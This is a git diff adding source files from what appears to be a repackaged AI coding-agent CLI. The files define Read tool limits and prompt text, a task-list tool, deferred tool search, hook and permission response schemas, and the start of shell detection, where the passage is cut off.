diff --git a/cc-haha/src/tools/FileReadTool/limits.ts b/cc-haha/src/tools/FileReadTool/limits.ts
new file mode 100644
index 0000000..3e0247f
--- /dev/null
+++ b/cc-haha/src/tools/FileReadTool/limits.ts
@@ -0,0 +1,92 @@
+/**
+ * Read tool output limits.  Two caps apply to text reads:
+ *
+ *   | limit         | default | checks                    | cost          | on overflow     |
+ *   |---------------|---------|---------------------------|---------------|-----------------|
+ *   | maxSizeBytes  | 256 KB  | TOTAL FILE SIZE (not out) | 1 stat        | throws pre-read |
+ *   | maxTokens     | 25000   | actual output tokens      | API roundtrip | throws post-read|
+ *
+ * Known mismatch: maxSizeBytes gates on total file size, not the slice.
+ * Tested truncating instead of throwing for explicit-limit reads that
+ * exceed the byte cap (#21841, Mar 2026).  Reverted: tool error rate
+ * dropped but mean tokens rose — the throw path yields a ~100-byte error
+ * tool-result while truncation yields ~25K tokens of content at the cap.
+ */
+import memoize from 'lodash-es/memoize.js'
+import { getFeatureValue_CACHED_MAY_BE_STALE } from 'src/services/analytics/growthbook.js'
+import { MAX_OUTPUT_SIZE } from 'src/utils/file.js'
+export const DEFAULT_MAX_OUTPUT_TOKENS = 25000
+
+/**
+ * Env var override for max output tokens. Returns undefined when unset/invalid
+ * so the caller can fall through to the next precedence tier.
+ */
+function getEnvMaxTokens(): number | undefined {
+  const override = process.env.CLAUDE_CODE_FILE_READ_MAX_OUTPUT_TOKENS
+  if (override) {
+    const parsed = parseInt(override, 10)
+    if (!isNaN(parsed) && parsed > 0) {
+      return parsed
+    }
+  }
+  return undefined
+}
+
+export type FileReadingLimits = {
+  maxTokens: number
+  maxSizeBytes: number
+  includeMaxSizeInPrompt?: boolean
+  targetedRangeNudge?: boolean
+}
+
+/**
+ * Default limits for Read tool when the ToolUseContext doesn't supply an
+ * override. Memoized so the GrowthBook value is fixed at first call — avoids
+ * the cap changing mid-session as the flag refreshes in the background.
+ *
+ * Precedence for maxTokens: env var > GrowthBook > DEFAULT_MAX_OUTPUT_TOKENS.
+ * (Env var is a user-set override, should beat experiment infrastructure.)
+ *
+ * Defensive: each field is individually validated; invalid values fall
+ * through to the hardcoded defaults (no route to cap=0).
+ */
+export const getDefaultFileReadingLimits = memoize((): FileReadingLimits => {
+  const override =
+    getFeatureValue_CACHED_MAY_BE_STALE<Partial<FileReadingLimits> | null>(
+      'tengu_amber_wren',
+      {},
+    )
+
+  const maxSizeBytes =
+    typeof override?.maxSizeBytes === 'number' &&
+    Number.isFinite(override.maxSizeBytes) &&
+    override.maxSizeBytes > 0
+      ? override.maxSizeBytes
+      : MAX_OUTPUT_SIZE
+
+  const envMaxTokens = getEnvMaxTokens()
+  const maxTokens =
+    envMaxTokens ??
+    (typeof override?.maxTokens === 'number' &&
+    Number.isFinite(override.maxTokens) &&
+    override.maxTokens > 0
+      ? override.maxTokens
+      : DEFAULT_MAX_OUTPUT_TOKENS)
+
+  const includeMaxSizeInPrompt =
+    typeof override?.includeMaxSizeInPrompt === 'boolean'
+      ? override.includeMaxSizeInPrompt
+      : undefined
+
+  const targetedRangeNudge =
+    typeof override?.targetedRangeNudge === 'boolean'
+      ? override.targetedRangeNudge
+      : undefined
+
+  return {
+    maxSizeBytes,
+    maxTokens,
+    includeMaxSizeInPrompt,
+    targetedRangeNudge,
+  }
+})
diff --git a/cc-haha/src/tools/FileReadTool/prompt.ts b/cc-haha/src/tools/FileReadTool/prompt.ts
new file mode 100644
index 0000000..47be519
--- /dev/null
+++ b/cc-haha/src/tools/FileReadTool/prompt.ts
@@ -0,0 +1,49 @@
+import { isPDFSupported } from '../../utils/pdfUtils.js'
+import { BASH_TOOL_NAME } from '../BashTool/toolName.js'
+
+// Use a string constant for tool names to avoid circular dependencies
+export const FILE_READ_TOOL_NAME = 'Read'
+
+export const FILE_UNCHANGED_STUB =
+  'File unchanged since last read. The content from the earlier Read tool_result in this conversation is still current — refer to that instead of re-reading.'
+
+export const MAX_LINES_TO_READ = 2000
+
+export const DESCRIPTION = 'Read a file from the local filesystem.'
+
+export const LINE_FORMAT_INSTRUCTION =
+  '- Results are returned using cat -n format, with line numbers starting at 1'
+
+export const OFFSET_INSTRUCTION_DEFAULT =
+  "- You can optionally specify a line offset and limit (especially handy for long files), but it's recommended to read the whole file by not providing these parameters"
+
+export const OFFSET_INSTRUCTION_TARGETED =
+  '- When you already know which part of the file you need, only read that part. This can be important for larger files.'
+
+/**
+ * Renders the Read tool prompt template.  The caller (FileReadTool) supplies
+ * the runtime-computed parts.
+ */
+export function renderPromptTemplate(
+  lineFormat: string,
+  maxSizeInstruction: string,
+  offsetInstruction: string,
+): string {
+  return `Reads a file from the local filesystem. You can access any file directly by using this tool.
+Assume this tool is able to read all files on the machine. If the User provides a path to a file assume that path is valid. It is okay to read a file that does not exist; an error will be returned.
+
+Usage:
+- The file_path parameter must be an absolute path, not a relative path
+- By default, it reads up to ${MAX_LINES_TO_READ} lines starting from the beginning of the file${maxSizeInstruction}
+${offsetInstruction}
+${lineFormat}
+- This tool allows Claude Code to read images (eg PNG, JPG, etc). When reading an image file the contents are presented visually as Claude Code is a multimodal LLM.${
+    isPDFSupported()
+      ? '\n- This tool can read PDF files (.pdf). For large PDFs (more than 10 pages), you MUST provide the pages parameter to read specific page ranges (e.g., pages: "1-5"). Reading a large PDF without the pages parameter will fail. Maximum 20 pages per request.'
+      : ''
+  }
+- This tool can read Jupyter notebooks (.ipynb files) and returns all cells with their outputs, combining code, text, and visualizations.
+- This tool can only read files, not directories. To read a directory, use an ls command via the ${BASH_TOOL_NAME} tool.
+- You will regularly be asked to read screenshots. If the user provides a path to a screenshot, ALWAYS use this tool to view the file at the path. This tool will work with all temporary file paths.
+- If you read a file that exists but has empty contents you will receive a system reminder warning in place of file contents.`
+}
diff --git a/cc-haha/src/tools/PowerShellTool/commonParameters.ts b/cc-haha/src/tools/PowerShellTool/commonParameters.ts
new file mode 100644
index 0000000..cccd2ef
--- /dev/null
+++ b/cc-haha/src/tools/PowerShellTool/commonParameters.ts
@@ -0,0 +1,30 @@
+/**
+ * PowerShell Common Parameters (available on all cmdlets via [CmdletBinding()]).
+ * Source: about_CommonParameters (PowerShell docs) + Get-Command output.
+ *
+ * Shared between pathValidation.ts (merges into per-cmdlet known-param sets)
+ * and readOnlyValidation.ts (merges into safeFlags check). Split out to break
+ * what would otherwise be an import cycle between those two files.
+ *
+ * Stored lowercase with leading dash — callers `.toLowerCase()` their input.
+ */
+
+export const COMMON_SWITCHES = ['-verbose', '-debug']
+
+export const COMMON_VALUE_PARAMS = [
+  '-erroraction',
+  '-warningaction',
+  '-informationaction',
+  '-progressaction',
+  '-errorvariable',
+  '-warningvariable',
+  '-informationvariable',
+  '-outvariable',
+  '-outbuffer',
+  '-pipelinevariable',
+]
+
+export const COMMON_PARAMETERS: ReadonlySet<string> = new Set([
+  ...COMMON_SWITCHES,
+  ...COMMON_VALUE_PARAMS,
+])
diff --git a/cc-haha/src/tools/TaskListTool/TaskListTool.ts b/cc-haha/src/tools/TaskListTool/TaskListTool.ts
new file mode 100644
index 0000000..61e4558
--- /dev/null
+++ b/cc-haha/src/tools/TaskListTool/TaskListTool.ts
@@ -0,0 +1,116 @@
+import { z } from 'zod/v4'
+import { buildTool, type ToolDef } from '../../Tool.js'
+import { lazySchema } from '../../utils/lazySchema.js'
+import {
+  getTaskListId,
+  isTodoV2Enabled,
+  listTasks,
+  TaskStatusSchema,
+} from '../../utils/tasks.js'
+import { TASK_LIST_TOOL_NAME } from './constants.js'
+import { DESCRIPTION, getPrompt } from './prompt.js'
+
+const inputSchema = lazySchema(() => z.strictObject({}))
+type InputSchema = ReturnType<typeof inputSchema>
+
+const outputSchema = lazySchema(() =>
+  z.object({
+    tasks: z.array(
+      z.object({
+        id: z.string(),
+        subject: z.string(),
+        status: TaskStatusSchema(),
+        owner: z.string().optional(),
+        blockedBy: z.array(z.string()),
+      }),
+    ),
+  }),
+)
+type OutputSchema = ReturnType<typeof outputSchema>
+
+export type Output = z.infer<OutputSchema>
+
+export const TaskListTool = buildTool({
+  name: TASK_LIST_TOOL_NAME,
+  searchHint: 'list all tasks',
+  maxResultSizeChars: 100_000,
+  async description() {
+    return DESCRIPTION
+  },
+  async prompt() {
+    return getPrompt()
+  },
+  get inputSchema(): InputSchema {
+    return inputSchema()
+  },
+  get outputSchema(): OutputSchema {
+    return outputSchema()
+  },
+  userFacingName() {
+    return 'TaskList'
+  },
+  shouldDefer: true,
+  isEnabled() {
+    return isTodoV2Enabled()
+  },
+  isConcurrencySafe() {
+    return true
+  },
+  isReadOnly() {
+    return true
+  },
+  renderToolUseMessage() {
+    return null
+  },
+  async call() {
+    const taskListId = getTaskListId()
+
+    const allTasks = (await listTasks(taskListId)).filter(
+      t => !t.metadata?._internal,
+    )
+
+    // Build a set of resolved task IDs for filtering
+    const resolvedTaskIds = new Set(
+      allTasks.filter(t => t.status === 'completed').map(t => t.id),
+    )
+
+    const tasks = allTasks.map(task => ({
+      id: task.id,
+      subject: task.subject,
+      status: task.status,
+      owner: task.owner,
+      blockedBy: task.blockedBy.filter(id => !resolvedTaskIds.has(id)),
+    }))
+
+    return {
+      data: {
+        tasks,
+      },
+    }
+  },
+  mapToolResultToToolResultBlockParam(content, toolUseID) {
+    const { tasks } = content as Output
+    if (tasks.length === 0) {
+      return {
+        tool_use_id: toolUseID,
+        type: 'tool_result',
+        content: 'No tasks found',
+      }
+    }
+
+    const lines = tasks.map(task => {
+      const owner = task.owner ? ` (${task.owner})` : ''
+      const blocked =
+        task.blockedBy.length > 0
+          ? ` [blocked by ${task.blockedBy.map(id => `#${id}`).join(', ')}]`
+          : ''
+      return `#${task.id} [${task.status}] ${task.subject}${owner}${blocked}`
+    })
+
+    return {
+      tool_use_id: toolUseID,
+      type: 'tool_result',
+      content: lines.join('\n'),
+    }
+  },
+} satisfies ToolDef<InputSchema, Output>)
diff --git a/cc-haha/src/tools/ToolSearchTool/constants.ts b/cc-haha/src/tools/ToolSearchTool/constants.ts
new file mode 100644
index 0000000..ccda77e
--- /dev/null
+++ b/cc-haha/src/tools/ToolSearchTool/constants.ts
@@ -0,0 +1 @@
+export const TOOL_SEARCH_TOOL_NAME = 'ToolSearch'
diff --git a/cc-haha/src/tools/ToolSearchTool/prompt.ts b/cc-haha/src/tools/ToolSearchTool/prompt.ts
new file mode 100644
index 0000000..ca3e6b0
--- /dev/null
+++ b/cc-haha/src/tools/ToolSearchTool/prompt.ts
@@ -0,0 +1,121 @@
+import { feature } from 'bun:bundle'
+import { isReplBridgeActive } from '../../bootstrap/state.js'
+import { getFeatureValue_CACHED_MAY_BE_STALE } from '../../services/analytics/growthbook.js'
+import type { Tool } from '../../Tool.js'
+import { AGENT_TOOL_NAME } from '../AgentTool/constants.js'
+
+// Dead code elimination: Brief tool name only needed when KAIROS or KAIROS_BRIEF is on
+/* eslint-disable @typescript-eslint/no-require-imports */
+const BRIEF_TOOL_NAME: string | null =
+  feature('KAIROS') || feature('KAIROS_BRIEF')
+    ? (
+        require('../BriefTool/prompt.js') as typeof import('../BriefTool/prompt.js')
+      ).BRIEF_TOOL_NAME
+    : null
+const SEND_USER_FILE_TOOL_NAME: string | null = feature('KAIROS')
+  ? (
+      require('../SendUserFileTool/prompt.js') as typeof import('../SendUserFileTool/prompt.js')
+    ).SEND_USER_FILE_TOOL_NAME
+  : null
+
+/* eslint-enable @typescript-eslint/no-require-imports */
+
+export { TOOL_SEARCH_TOOL_NAME } from './constants.js'
+
+import { TOOL_SEARCH_TOOL_NAME } from './constants.js'
+
+const PROMPT_HEAD = `Fetches full schema definitions for deferred tools so they can be called.
+
+`
+
+// Matches isDeferredToolsDeltaEnabled in toolSearch.ts (not imported —
+// toolSearch.ts imports from this file). When enabled: tools announced
+// via system-reminder attachments. When disabled: prepended
+// <available-deferred-tools> block (pre-gate behavior).
+function getToolLocationHint(): string {
+  const deltaEnabled =
+    process.env.USER_TYPE === 'ant' ||
+    getFeatureValue_CACHED_MAY_BE_STALE('tengu_glacier_2xr', false)
+  return deltaEnabled
+    ? 'Deferred tools appear by name in <system-reminder> messages.'
+    : 'Deferred tools appear by name in <available-deferred-tools> messages.'
+}
+
+const PROMPT_TAIL = ` Until fetched, only the name is known — there is no parameter schema, so the tool cannot be invoked. This tool takes a query, matches it against the deferred tool list, and returns the matched tools' complete JSONSchema definitions inside a <functions> block. Once a tool's schema appears in that result, it is callable exactly like any tool defined at the top of the prompt.
+
+Result format: each matched tool appears as one <function>{"description": "...", "name": "...", "parameters": {...}}</function> line inside the <functions> block — the same encoding as the tool list at the top of this prompt.
+
+Query forms:
+- "select:Read,Edit,Grep" — fetch these exact tools by name
+- "notebook jupyter" — keyword search, up to max_results best matches
+- "+slack send" — require "slack" in the name, rank by remaining terms`
+
+/**
+ * Check if a tool should be deferred (requires ToolSearch to load).
+ * A tool is deferred if:
+ * - It's an MCP tool (always deferred - workflow-specific)
+ * - It has shouldDefer: true
+ *
+ * A tool is NEVER deferred if it has alwaysLoad: true (MCP tools set this via
+ * _meta['anthropic/alwaysLoad']). This check runs first, before any other rule.
+ */
+export function isDeferredTool(tool: Tool): boolean {
+  // Explicit opt-out via _meta['anthropic/alwaysLoad'] — tool appears in the
+  // initial prompt with full schema. Checked first so MCP tools can opt out.
+  if (tool.alwaysLoad === true) return false
+
+  // MCP tools are always deferred (workflow-specific)
+  if (tool.isMcp === true) return true
+
+  // Never defer ToolSearch itself — the model needs it to load everything else
+  if (tool.name === TOOL_SEARCH_TOOL_NAME) return false
+
+  // Fork-first experiment: Agent must be available turn 1, not behind ToolSearch.
+  // Lazy require: static import of forkSubagent → coordinatorMode creates a cycle
+  // through constants/tools.ts at module init.
+  if (feature('FORK_SUBAGENT') && tool.name === AGENT_TOOL_NAME) {
+    type ForkMod = typeof import('../AgentTool/forkSubagent.js')
+    // eslint-disable-next-line @typescript-eslint/no-require-imports
+    const m = require('../AgentTool/forkSubagent.js') as ForkMod
+    if (m.isForkSubagentEnabled()) return false
+  }
+
+  // Brief is the primary communication channel whenever the tool is present.
+  // Its prompt contains the text-visibility contract, which the model must
+  // see without a ToolSearch round-trip. No runtime gate needed here: this
+  // tool's isEnabled() IS isBriefEnabled(), so being asked about its deferral
+  // status implies the gate already passed.
+  if (
+    (feature('KAIROS') || feature('KAIROS_BRIEF')) &&
+    BRIEF_TOOL_NAME &&
+    tool.name === BRIEF_TOOL_NAME
+  ) {
+    return false
+  }
+
+  // SendUserFile is a file-delivery communication channel (sibling of Brief).
+  // Must be immediately available without a ToolSearch round-trip.
+  if (
+    feature('KAIROS') &&
+    SEND_USER_FILE_TOOL_NAME &&
+    tool.name === SEND_USER_FILE_TOOL_NAME &&
+    isReplBridgeActive()
+  ) {
+    return false
+  }
+
+  return tool.shouldDefer === true
+}
+
+/**
+ * Format one deferred-tool line for the <available-deferred-tools> user
+ * message. Search hints (tool.searchHint) are not rendered — the
+ * hints A/B (exp_xenhnnmn0smrx4, stopped Mar 21) showed no benefit.
+ */
+export function formatDeferredToolLine(tool: Tool): string {
+  return tool.name
+}
+
+export function getPrompt(): string {
+  return PROMPT_HEAD + getToolLocationHint() + PROMPT_TAIL
+}
diff --git a/cc-haha/src/types/fileSuggestion.ts b/cc-haha/src/types/fileSuggestion.ts
new file mode 100644
index 0000000..c170c49
--- /dev/null
+++ b/cc-haha/src/types/fileSuggestion.ts
@@ -0,0 +1,34 @@
+// @generated stub from scan-missing-imports
+// 该文件自动生成，对应 ant-internal 的 feature() gated 模块。
+// 所有外部 build 的代码路径在 DCE 后都不会真的执行这里的代码，这只是
+// bun build resolver 的占位符。
+const __target = function noop() {}
+const __handler: ProxyHandler<any> = {
+  get(_t, prop) {
+    if (prop === '__esModule') return true
+    if (prop === 'default') return new Proxy(__target, __handler)
+    if (prop === Symbol.toPrimitive) return () => undefined
+    if (prop === Symbol.iterator) return function* () {}
+    if (prop === Symbol.asyncIterator) return async function* () {}
+    if (prop === 'then') return undefined
+    return new Proxy(__target, __handler)
+  },
+  apply() {
+    return new Proxy(__target, __handler)
+  },
+  construct() {
+    return new Proxy(__target, __handler)
+  },
+}
+const stub: any = new Proxy(__target, __handler)
+export default stub
+export const __stubMissing = true
+// 兼容常见的命名导出 —— 没列在这里的也会通过 default Proxy 兜底
+export const createCachedMCState = stub
+export const isCachedMicrocompactEnabled = stub
+export const isModelSupportedForCacheEditing = stub
+export const getCachedMCConfig = stub
+export const markToolsSentToAPI = stub
+export const resetCachedMCState = stub
+export const checkProtectedNamespace = stub
+export const getCoordinatorUserContext = stub
diff --git a/cc-haha/src/types/hooks.ts b/cc-haha/src/types/hooks.ts
new file mode 100644
index 0000000..a7808b5
--- /dev/null
+++ b/cc-haha/src/types/hooks.ts
@@ -0,0 +1,290 @@
+// biome-ignore-all assist/source/organizeImports: ANT-ONLY import markers must not be reordered
+import { z } from 'zod/v4'
+import { lazySchema } from '../utils/lazySchema.js'
+import {
+  type HookEvent,
+  HOOK_EVENTS,
+  type HookInput,
+  type PermissionUpdate,
+} from 'src/entrypoints/agentSdkTypes.js'
+import type {
+  HookJSONOutput,
+  AsyncHookJSONOutput,
+  SyncHookJSONOutput,
+} from 'src/entrypoints/agentSdkTypes.js'
+import type { Message } from 'src/types/message.js'
+import type { PermissionResult } from 'src/utils/permissions/PermissionResult.js'
+import { permissionBehaviorSchema } from 'src/utils/permissions/PermissionRule.js'
+import { permissionUpdateSchema } from 'src/utils/permissions/PermissionUpdateSchema.js'
+import type { AppState } from '../state/AppState.js'
+import type { AttributionState } from '../utils/commitAttribution.js'
+
+export function isHookEvent(value: string): value is HookEvent {
+  return HOOK_EVENTS.includes(value as HookEvent)
+}
+
+// Prompt elicitation protocol types. The `prompt` key acts as discriminator
+// (mirroring the {async:true} pattern), with the id as its value.
+export const promptRequestSchema = lazySchema(() =>
+  z.object({
+    prompt: z.string(), // request id
+    message: z.string(),
+    options: z.array(
+      z.object({
+        key: z.string(),
+        label: z.string(),
+        description: z.string().optional(),
+      }),
+    ),
+  }),
+)
+
+export type PromptRequest = z.infer<ReturnType<typeof promptRequestSchema>>
+
+export type PromptResponse = {
+  prompt_response: string // request id
+  selected: string
+}
+
+// Sync hook response schema
+export const syncHookResponseSchema = lazySchema(() =>
+  z.object({
+    continue: z
+      .boolean()
+      .describe('Whether Claude should continue after hook (default: true)')
+      .optional(),
+    suppressOutput: z
+      .boolean()
+      .describe('Hide stdout from transcript (default: false)')
+      .optional(),
+    stopReason: z
+      .string()
+      .describe('Message shown when continue is false')
+      .optional(),
+    decision: z.enum(['approve', 'block']).optional(),
+    reason: z.string().describe('Explanation for the decision').optional(),
+    systemMessage: z
+      .string()
+      .describe('Warning message shown to the user')
+      .optional(),
+    hookSpecificOutput: z
+      .union([
+        z.object({
+          hookEventName: z.literal('PreToolUse'),
+          permissionDecision: permissionBehaviorSchema().optional(),
+          permissionDecisionReason: z.string().optional(),
+          updatedInput: z.record(z.string(), z.unknown()).optional(),
+          additionalContext: z.string().optional(),
+        }),
+        z.object({
+          hookEventName: z.literal('UserPromptSubmit'),
+          additionalContext: z.string().optional(),
+        }),
+        z.object({
+          hookEventName: z.literal('SessionStart'),
+          additionalContext: z.string().optional(),
+          initialUserMessage: z.string().optional(),
+          watchPaths: z
+            .array(z.string())
+            .describe('Absolute paths to watch for FileChanged hooks')
+            .optional(),
+        }),
+        z.object({
+          hookEventName: z.literal('Setup'),
+          additionalContext: z.string().optional(),
+        }),
+        z.object({
+          hookEventName: z.literal('SubagentStart'),
+          additionalContext: z.string().optional(),
+        }),
+        z.object({
+          hookEventName: z.literal('PostToolUse'),
+          additionalContext: z.string().optional(),
+          updatedMCPToolOutput: z
+            .unknown()
+            .describe('Updates the output for MCP tools')
+            .optional(),
+        }),
+        z.object({
+          hookEventName: z.literal('PostToolUseFailure'),
+          additionalContext: z.string().optional(),
+        }),
+        z.object({
+          hookEventName: z.literal('PermissionDenied'),
+          retry: z.boolean().optional(),
+        }),
+        z.object({
+          hookEventName: z.literal('Notification'),
+          additionalContext: z.string().optional(),
+        }),
+        z.object({
+          hookEventName: z.literal('PermissionRequest'),
+          decision: z.union([
+            z.object({
+              behavior: z.literal('allow'),
+              updatedInput: z.record(z.string(), z.unknown()).optional(),
+              updatedPermissions: z.array(permissionUpdateSchema()).optional(),
+            }),
+            z.object({
+              behavior: z.literal('deny'),
+              message: z.string().optional(),
+              interrupt: z.boolean().optional(),
+            }),
+          ]),
+        }),
+        z.object({
+          hookEventName: z.literal('Elicitation'),
+          action: z.enum(['accept', 'decline', 'cancel']).optional(),
+          content: z.record(z.string(), z.unknown()).optional(),
+        }),
+        z.object({
+          hookEventName: z.literal('ElicitationResult'),
+          action: z.enum(['accept', 'decline', 'cancel']).optional(),
+          content: z.record(z.string(), z.unknown()).optional(),
+        }),
+        z.object({
+          hookEventName: z.literal('CwdChanged'),
+          watchPaths: z
+            .array(z.string())
+            .describe('Absolute paths to watch for FileChanged hooks')
+            .optional(),
+        }),
+        z.object({
+          hookEventName: z.literal('FileChanged'),
+          watchPaths: z
+            .array(z.string())
+            .describe('Absolute paths to watch for FileChanged hooks')
+            .optional(),
+        }),
+        z.object({
+          hookEventName: z.literal('WorktreeCreate'),
+          worktreePath: z.string(),
+        }),
+      ])
+      .optional(),
+  }),
+)
+
+// Zod schema for hook JSON output validation
+export const hookJSONOutputSchema = lazySchema(() => {
+  // Async hook response schema
+  const asyncHookResponseSchema = z.object({
+    async: z.literal(true),
+    asyncTimeout: z.number().optional(),
+  })
+  return z.union([asyncHookResponseSchema, syncHookResponseSchema()])
+})
+
+// Infer the TypeScript type from the schema
+type SchemaHookJSONOutput = z.infer<ReturnType<typeof hookJSONOutputSchema>>
+
+// Type guard function to check if response is sync
+export function isSyncHookJSONOutput(
+  json: HookJSONOutput,
+): json is SyncHookJSONOutput {
+  return !('async' in json && json.async === true)
+}
+
+// Type guard function to check if response is async
+export function isAsyncHookJSONOutput(
+  json: HookJSONOutput,
+): json is AsyncHookJSONOutput {
+  return 'async' in json && json.async === true
+}
+
+// Compile-time assertion that SDK and Zod types match
+import type { IsEqual } from 'type-fest'
+type Assert<T extends true> = T
+type _assertSDKTypesMatch = Assert<
+  IsEqual<SchemaHookJSONOutput, HookJSONOutput>
+>
+
+/** Context passed to callback hooks for state access */
+export type HookCallbackContext = {
+  getAppState: () => AppState
+  updateAttributionState: (
+    updater: (prev: AttributionState) => AttributionState,
+  ) => void
+}
+
+/** Hook that is a callback. */
+export type HookCallback = {
+  type: 'callback'
+  callback: (
+    input: HookInput,
+    toolUseID: string | null,
+    abort: AbortSignal | undefined,
+    /** Hook index for SessionStart hooks to compute CLAUDE_ENV_FILE path */
+    hookIndex?: number,
+    /** Optional context for accessing app state */
+    context?: HookCallbackContext,
+  ) => Promise<HookJSONOutput>
+  /** Timeout in seconds for this hook */
+  timeout?: number
+  /** Internal hooks (e.g. session file access analytics) are excluded from tengu_run_hook metrics */
+  internal?: boolean
+}
+
+export type HookCallbackMatcher = {
+  matcher?: string
+  hooks: HookCallback[]
+  pluginName?: string
+}
+
+export type HookProgress = {
+  type: 'hook_progress'
+  hookEvent: HookEvent
+  hookName: string
+  command: string
+  promptText?: string
+  statusMessage?: string
+}
+
+export type HookBlockingError = {
+  blockingError: string
+  command: string
+}
+
+export type PermissionRequestResult =
+  | {
+      behavior: 'allow'
+      updatedInput?: Record<string, unknown>
+      updatedPermissions?: PermissionUpdate[]
+    }
+  | {
+      behavior: 'deny'
+      message?: string
+      interrupt?: boolean
+    }
+
+export type HookResult = {
+  message?: Message
+  systemMessage?: Message
+  blockingError?: HookBlockingError
+  outcome: 'success' | 'blocking' | 'non_blocking_error' | 'cancelled'
+  preventContinuation?: boolean
+  stopReason?: string
+  permissionBehavior?: 'ask' | 'deny' | 'allow' | 'passthrough'
+  hookPermissionDecisionReason?: string
+  additionalContext?: string
+  initialUserMessage?: string
+  updatedInput?: Record<string, unknown>
+  updatedMCPToolOutput?: unknown
+  permissionRequestResult?: PermissionRequestResult
+  retry?: boolean
+}
+
+export type AggregatedHookResult = {
+  message?: Message
+  blockingErrors?: HookBlockingError[]
+  preventContinuation?: boolean
+  stopReason?: string
+  hookPermissionDecisionReason?: string
+  permissionBehavior?: PermissionResult['behavior']
+  additionalContexts?: string[]
+  initialUserMessage?: string
+  updatedInput?: Record<string, unknown>
+  updatedMCPToolOutput?: unknown
+  permissionRequestResult?: PermissionRequestResult
+  retry?: boolean
+}
diff --git a/cc-haha/src/utils/Shell.ts b/cc-haha/src/utils/Shell.ts
new file mode 100644
index 0000000..f2e5fcf
--- /dev/null
+++ b/cc-haha/src/utils/Shell.ts
@@ -0,0 +1,474 @@
+import { execFileSync, spawn } from 'child_process'
+import { constants as fsConstants, readFileSync, unlinkSync } from 'fs'
+import { type FileHandle, mkdir, open, realpath } from 'fs/promises'
+import memoize from 'lodash-es/memoize.js'
+import { isAbsolute, resolve } from 'path'
+import { join as posixJoin } from 'path/posix'
+import { logEvent } from 'src/services/analytics/index.js'
+import {
+  getOriginalCwd,
+  getSessionId,
+  setCwdState,
+} from '../bootstrap/state.js'
+import { generateTaskId } from '../Task.js'
+import { pwd } from './cwd.js'
+import { logForDebugging } from './debug.js'
+import { errorMessage, isENOENT } from './errors.js'
+import { getFsImplementation } from './fsOperations.js'
+import { logError } from './log.js'
+import {
+  createAbortedCommand,
+  createFailedCommand,
+  type ShellCommand,
+  wrapSpawn,
+} from './ShellCommand.js'
+import { getTaskOutputDir } from './task/diskOutput.js'
+import { TaskOutput } from './task/TaskOutput.js'
+import { which } from './which.js'
+
+export type { ExecResult } from './ShellCommand.js'
+
+import { accessSync } from 'fs'
+import { onCwdChangedForHooks } from './hooks/fileChangedWatcher.js'
+import { getClaudeTempDirName } from './permissions/filesystem.js'
+import { getPlatform } from './platform.js'
+import { SandboxManager } from './sandbox/sandbox-adapter.js'
+import { invalidateSessionEnvCache } from './sessionEnvironment.js'
+import { createBashShellProvider } from './shell/bashProvider.js'
+import { getCachedPowerShellPath } from './shell/powershellDetection.js'
+import { createPowerShellProvider } from './shell/powershellProvider.js'
+import type { ShellProvider, ShellType } from './shell/shellProvider.js'
+import { subprocessEnv } from './subprocessEnv.js'
+import { posixPathToWindowsPath } from './windowsPaths.js'
+
+const DEFAULT_TIMEOUT = 30 * 60 * 1000 // 30 minutes
+
+export type ShellConfig = {
+  provider: ShellProvider
+}
+
+function isExecutable(shellPath: string): boolean {
+  try {
+    accessSync(shellPath, fsConstants.X_OK)
+    return true
+  } catch (_err) {
+    // Fallback for Nix and other environments where X_OK check might fail
+    try {
+      // Try to execute the shell with --version, which should exit quickly
+      // Use execFileSync to avoid shell injection vulnerabilities
+      execFileSync(shellPath, ['--version'], {
+        timeout: 1000,
+        stdio: 'ignore',
+      })
+      return true
+    } catch {
+      return false
+    }
+  }
+}
+
+/**
+ * Determines the best available shell to use.
+ */
+export async function findSuitableShell(): Promise<string> {
+  // Check for explicit shell override first
+  const shellOverride = process.env.CLAUDE_CODE_SHELL
+  if (shellOverride) {
+    // Validate it's a supported shell type
+    const isSupported =
+      shellOverride.includes('bash') || shellOverride.includes('zsh')
+    if (isSupported && isExecutable(shellOverride)) {
+      logForDebugging(`Using shell override: ${shellOverride}`)
+      return shellOverride
+    } else {
+      // Note, if we ever want to add support for new shells here we'll need to update or Bash tool parsing to account for this
+      logForDebugging(
+        `CLAUDE_CODE_SHELL="${shellOverride}" is not a valid bash/zsh path, falling back to detection`,
+      )
+    }
+  }
+
+  // Check user's preferred shell from environment
+  const env_shell = process.env.SHELL
+  // Only consider SHELL if it's bash or zsh
+  const isEnvShellSupported =
+    env_shell && (env_shell.includes('bash') || env_shell.includes('zsh'))
+  const preferBash = env_shell?.includes('bash')
+
+  // Try to locate shells using which (uses Bun.which when available)
+  const [zshPath, bashPath] = await Promise.all([which('zsh'), which('bash')])
+
+  // Populate shell paths from which results and fallback locations
+  const shellPaths = ['/bin', '/usr/bin', '/usr/local/bin', '/opt/homebrew/bin']
+
+  // Order shells based on user preference
+  const shellOrder = preferBash ? ['bash', 'zsh'] : ['zsh', 'bash']
+  const supportedShells = shellOrder.flatMap(shell =>
+    shellPaths.map(path => `${path}/${shell}`),
+  )
+
+  // Add discovered paths to the beginning of our search list
+  // Put the user's preferred shell type first
+  if (preferBash) {
+    if (bashPath) supportedShells.unshift(bashPath)
+    if (zshPath) supportedShells.push(zshPath)
+  } else {
+    if (zshPath) supportedShells.unshift(zshPath)
+    if (bashPath) supportedShells.push(bashPath)
+  }
+
+  // Always prioritize SHELL env variable if it's a supported shell type
+  if (isEnvShellSupported && isExecutable(env_shell)) {
+    supportedShells.unshift(env_shell)
+  }
+
+  const shellPath = supportedShells.find(shell => shell && isExecutable(shell))
+
+  // If no valid shell found, throw a helpful error
+  if (!shellPath) {
+    const errorMsg =
+      'No suitable shell found. Claude CLI requires a Posix shell environment. ' +
+      'Please ensure you have a valid shell installed and the SHELL environment variable set.'
+    logError(new Error(errorMsg))
+    throw new Error(errorMsg)
+  }
+
+  return shellPath
+}
+
+async function getShellConfigImpl(): Promise<ShellConfig> {
+  const binShell = await findSuitableShell()
+  const provider = await createBashShellProvider(binShell)
+  return { provider }
+}
+
+// Memoize the entire shell config so it only happens once per session
+export const getShellConfig = memoize(getShellConfigImpl)
+
+export const getPsProvider = memoize(async (): Promise<ShellProvider> => {
+  const psPath = await getCachedPowerShellPath()
+  if (!psPath) {
+    throw new Error('PowerShell is not available')
+  }
+  return createPowerShellProvider(psPath)
+})
+
+const resolveProvider: Record<ShellType, () => Promise<ShellProvider>> = {
+  bash: async () => (await getShellConfig()).provider,
+  powershell: getPsProvider,
+}
+
+export type ExecOptions = {
+  timeout?: number
+  onProgress?: (
+    lastLines: string,
